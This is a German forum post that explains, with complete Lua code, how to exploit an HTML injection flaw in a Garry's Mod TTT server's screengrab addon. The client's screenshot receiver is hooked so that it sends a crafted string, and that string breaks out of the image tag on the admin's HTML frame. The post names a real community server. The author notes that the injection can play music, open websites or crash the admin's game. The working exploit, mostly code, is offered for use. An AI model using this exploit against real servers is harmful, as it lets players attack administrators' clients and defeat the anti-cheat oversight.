Also ich war letzt auf dem Instinkt® Garrys Mod® TTT Server und habe gesehen, dass der Server ein Screengrab hat (also Admins können "Auf" den Bildschrim jedes Spieler schauen).
Hier ist mir folgende Zeile aufgefallen.
//die seite des Spielers der den Screengrab anfordert
net.Receive( "grab_ScreenshotToClient", function()
local len = net.ReadUInt( 32 )
local img, G = net.ReadData( len )
GRABSCREEN_PLY = net.ReadEntity()
//Creation of the frame
GRABSCREEN_HTML:SetHTML([[
<style type="text/css">
body {
margin: 0;
padding: 0;
overflow: hidden;
}
img {
width: 100%;
height: 100%;
}
</style>
<img src="data:image/jpg;base64,]] .. util.Decompress( img ) .. [[">]] <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
)
//...
end )
Alles anzeigen
Hier Ist auffallend <img src="data:image/jpg;base64,]] .. util.Decompress( img ) .. [[">]](1)
//der client auf dem der Screengrab ausgeführt wird
net.Receive( "grab_RequestScreenshot", function()
local sendto = net.ReadEntity()
local scr = {}
scr.format = "jpeg"
scr.h = ScrH()
scr.w = ScrW()
scr.quality = 40
scr.x = 0
scr.y = 0
local img = util.Base64Encode( render.Capture( scr ) )
img = util.Compress( img )
net.Start( "grab_ScreenshotToServer" )
net.WriteEntity( sendto )
net.WriteUInt( #img, 32 )
net.WriteData( img, #img )
net.SendToServer()
end )
Alles anzeigen
Also könnte man clientside einfach den Receiver hooken und einen String senden der dann in ( siehe 1) in den html frame "eingebaut wird" sprich wir könnten und Einen kleinen Spaß erlauben und z.b musik abspielen oder Webseiten öffnen oder sogar gmod crashen
Was müssen wir tun:
- Hooken des Receiver
- Craft des html bodys der injizieren werden soll
- Senden an den Spieler
So Also rann an die Sache:
Das hooken ist das Einfachste, wir können es über die Net.Receive funktion machen oder über die Tabelle von net.Receivers.
Ich bevorzuge die Tabelle da wir uns so Funktions aufrufe ersparen.
net.Receivers["grab_RequestScreenshot"] = function( )
local sendto = net.ReadEntity()//wir müssen wissen wo unsere Daten hinmüssen btw das Script macht das so ich finde das eine schlechte idee den Client Entscheiden zu lassen man könnte es besser lösen aber egal;D
//todo
end
so wenn jetzt der Admin unseren Screen anfordert würde er nicht sehen da Screengrab nicht mehr die Funktion aufruft die den "Screenshot" macht, sondern unsere, die im Moment nichts macht.
Also Weiter gehts als nächstes müssen wir den String machen dieser beinhaltet den Code den wir später auf der html Seite haben wollen die der Admin sieht.
local str = [[ "> you got pranked bro <img src='https://i.ytimg.com/vi/jpPl-sijr4M/maxresdefault.jpg' ]]
zuerst die Zeichen [[ ]] erstellen einen LUA string ( eine tolle Funktion) indem man alle anderen (auch reguläre string escape sequenzen wie " und ' benutzen kann ) diese nehmen uns die arbeit ab alles zu escapen (werde irgend wann mal ein tutoral zu lua strings machen).
und lassen dem admin ein Schönen text und bild anzeigen.
so jetzt das ganze noch an den Server Senden, hierbei ist darauf zu achten, dass die Orginale funktion den String mit util.Compress( string compressedString ) ( LZMA ) Komprimiert heißt wir müssen dass auch machen da es auf dem Admin wieder Dekomprimiert wird
also
local data = util.Compress( str )
net.Start( "grab_ScreenshotToServer" )
net.WriteEntity( sendto )
net.WriteUInt( #data, 32 )
net.WriteData( data, #data )
net.SendToServer()
so alles zusammen und wir bekommen:
net.Receivers["grab_RequestScreenshot"] = function( )
local sendto = net.ReadEntity()
local str = [[ "> you got pranked bro <img src='https://i.ytimg.com/vi/jpPl-sijr4M/maxresdefault.jpg' ]]
local data = util.Compress( str )
net.Start( "grab_ScreenshotToServer" )
net.WriteEntity( sendto )
net.WriteUInt( #data, 32 )
net.WriteData( data, #data )
net.SendToServer()
end
Tada:
wenn der Admin uns jetzt Screen Graben Will ruft er unsere Funktion auf die den string an ihn senden wird welcher durch die Programmierung ( siehe erster code ) dirket als html text interpretiert wird.
Bei fragen einfach Kommentar ( btw ich hab das hier gefunden und geschrieben in insg. ca 20 min also wenn manchen Erklärungen nicht vollständig oder nachvollziehbar sind FRAGEN )
K03